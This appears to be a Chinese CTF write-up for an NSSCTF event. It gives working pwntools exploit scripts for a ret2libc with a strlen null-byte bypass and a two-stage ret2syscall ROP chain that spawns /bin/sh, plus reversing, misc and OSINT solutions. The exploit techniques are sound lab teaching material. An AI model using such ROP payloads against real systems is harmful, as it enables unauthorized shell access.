Web不是我擅长的分区,我就做出来了签到题,其他是我队友做的。
刚开始只有3题Pwn,后来加了一题压轴题,当时没做出来,赛后研究了几天整出来了。
并非直接cat flag那种难度,需要稍微看一看。
发现把Flag写入了环境变量中,使用env
或者echo $FLAG
都可以查看。
按照描述,就是做完100道加减法题目后就可以得到Flag,实际上确实如此,这里没有耍任何把戏。
可以硬着头皮算,也可以用Pwntools等。
我选择Pwntools:
from PwnModules import *
io = remote('node4.anna.nssctf.cn',28265)
context(arch='amd64', os='linux', log_level='debug')
while 1:
try:
io.recvuntil(b'What is ')
line = io.recvline().strip(b'\n').strip(b'?').decode()
expression = line
result = eval(expression)
io.sendline(str(result))
except:
io.close()
continue
io.interactive()
exp的原理其实很简单,使用recv函数接收算式,使用strip函数去除接收到的信息中的换行符以及问号,然后丢入eval函数就会得出结果。发送回去即可。
基础的ret2libc题目。
题目提供了libc,甚至用不到LibcSearcher。
main函数存在栈溢出漏洞,但是程序使用了strlen防止用户进行栈溢出。
我们只需要使用\x00
绕过strlen函数即可。
from PwnModules import *
#io = process('./pwn4')
io = remote('node4.anna.nssctf.cn', 28413)
elf = ELF('./pwn41')
libc = ELF('/home/kaguya/PwnExp/libc-2.31.so')
context(arch='amd64', os='linux', log_level='debug')
Padding = b'\x00' + b'A' * (0x60 - 0x01 + 0x08)
rdi = 0x4007D3
ret = 0x400556
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
Payload = Padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(Payload)
io.recvuntil(b'Ok,Message Received\n')
addr = leak_addr(2, io)
print(hex(addr))
base = addr - libc.sym['puts']
system = base + libc.sym['system']
binsh = base + next(libc.search(b'/bin/sh\x00'))
Payload = Padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(Payload)
io.interactive()
压轴来喽~
很抽象的一道题,静态链接并且去除了符号表。
首先我们进行符号恢复。
从start函数着手:
先不管其他杂七杂八的函数,一个个点进去,可以发现sub_4005C0
应该是main函数。
这里我已经修改了函数名字,原先的vul并不是vul。而sub_411ED0猜测就是setbuf了。
进入vul函数中,还原后的函数如下:
strcpy函数是通过动态调试调试出来的。
参考:M1sery师傅的WP
关于如何绕过read的限制图中已经写了,重点是如何绕过strcpy的遇到\x00
截断。
这里需要写一个特殊的函数:
def gadget(content):
content = content + b'\x00'
content = content[-1::-1]
for i in range(0, len(content)):
if content[i] == 0:
payload = content[i+1:][-1::-1].replace(b'\x00', b'A')
padding = b'A' * 0x108
log.success('Payload: ' + (str(payload)))
io.sendafter(b'password:', padding + payload)
简要分析的话作用是替换Payload中的\x00
为A,复杂点实际上就是遇到\x00
就反转Payload,替换\x00
为A,然后配合固定的Padding:0x108(main函数中的a1大小)+处理后的Payload。
解决了strcpy的问题,接下来是构建ret2syscall的ROP链。
由于是静态链接,因此gadget量大管饱。
from PwnModules import *
io = process('./pwn4')
# io = remote('node5.anna.nssctf.cn',28672)
elf = ELF('./pwn4')
libc = ELF('/home/kaguya/PwnTool/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context(arch='amd64', os='linux', log_level='debug')
# Max Padding size : 0x100 - 0x150
# Define registers
rax = 0x4005AF
rdi = 0x400706
rsi = 0x410043
rdx = 0x448C95
syscall = 0x448D5F
bss = 0x6BB300
main = 0x4005C0
# Create func use to replace '\x00'
def gadget(content):
content = content + b'\x00'
content = content[-1::-1]
for i in range(0, len(content)):
if content[i] == 0:
payload = content[i+1:][-1::-1].replace(b'\x00', b'A')
padding = b'A' * 0x108
log.success('Payload: ' + (str(payload)))
io.sendafter(b'password:', padding + payload)
# Stage one
# read(0, 0, bss)
# rax 系统调用号 0代表 read
# rdi 第一参数
# 0 fd
# rsi 第二参数
# bss /bin/sh 地址
# 此处无法填写rdx的寄存器与值,因为如果填写了会导致Payload溢出,a1寄存器为58,就会进入exit函数。
# 但是程序在此时的rdx值够存放很多数据,所以存放一个/bin/sh不是什么难事。
Payload = p64(rax) + p64(0) + p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(syscall) + p64(main)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.send(b'/bin/sh\x00')
# Stage two
# execve('/bin/sh\x00', 0, 0)
# rax 系统调用号 59代表 execve
# rdi 第一参数
# bss /bin/sh 地址
# rsi 第二参数
# 0 NULL
# rdx 第三参数
# 0 NULL
Payload = p64(rax) + p64(59) + p64(rdi) + p64(bss) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
gadget(Payload)
Payload = b'PASSWORD\x00'
io.sendafter(b'password:', Payload)
io.interactive()
ChatGPT yyds!
输入函数和工作逻辑让ChatGPT写的
def XOR(Str, a2):
result = len(Str)
for i in range(result):
Str[i] = chr(ord(Str[i]) ^ (3 * a2))
return Str
Str1 = "E`}J]OrQF[V8zV:hzpV}fVF[t" # 请根据实际情况修改Str1的内容
Str1 = list(Str1) # 将Str1转换为列表,以便进行原位修改
XOR(Str1, 3)
Decrypted_Str1 = ''.join(Str1)
print("Decrypted Str1:", Decrypted_Str1)
输入str2,也就是E`}J]OrQF[V8zV:hzpV}fVF[t即可得到flag。
关注长亭珂兰寺公众号,发送签到即可获取flag。
压缩包加密了,先猜一手123456。错误的
盲猜一手114514,对了。
其实可以使用工具Passware Kit梭哈。
是misc中常见的修改图片长宽高
修改05 DC为DC DC即可。
说实话这题我是乱蒙的长宽高,乐。
对比发现缺少文件头,复制粘贴即可解决。
再随便改个后缀,就能打开了。
根据图中的Wifi查找即可查找到Flag。
搜索到相关的,然后确定就是这个。
NSSCTF{黑客与精酿}
根据图中关键信息百度查找。
关键信息:SANGEL 酒店 xx路店
最终发现结果是:松果酒店(郑州农业路店)
根据图内关键信息:Hackingclub查询。
查找地图发现是:漫香音乐酒吧(农科路店)
使用exiftool查看本图片: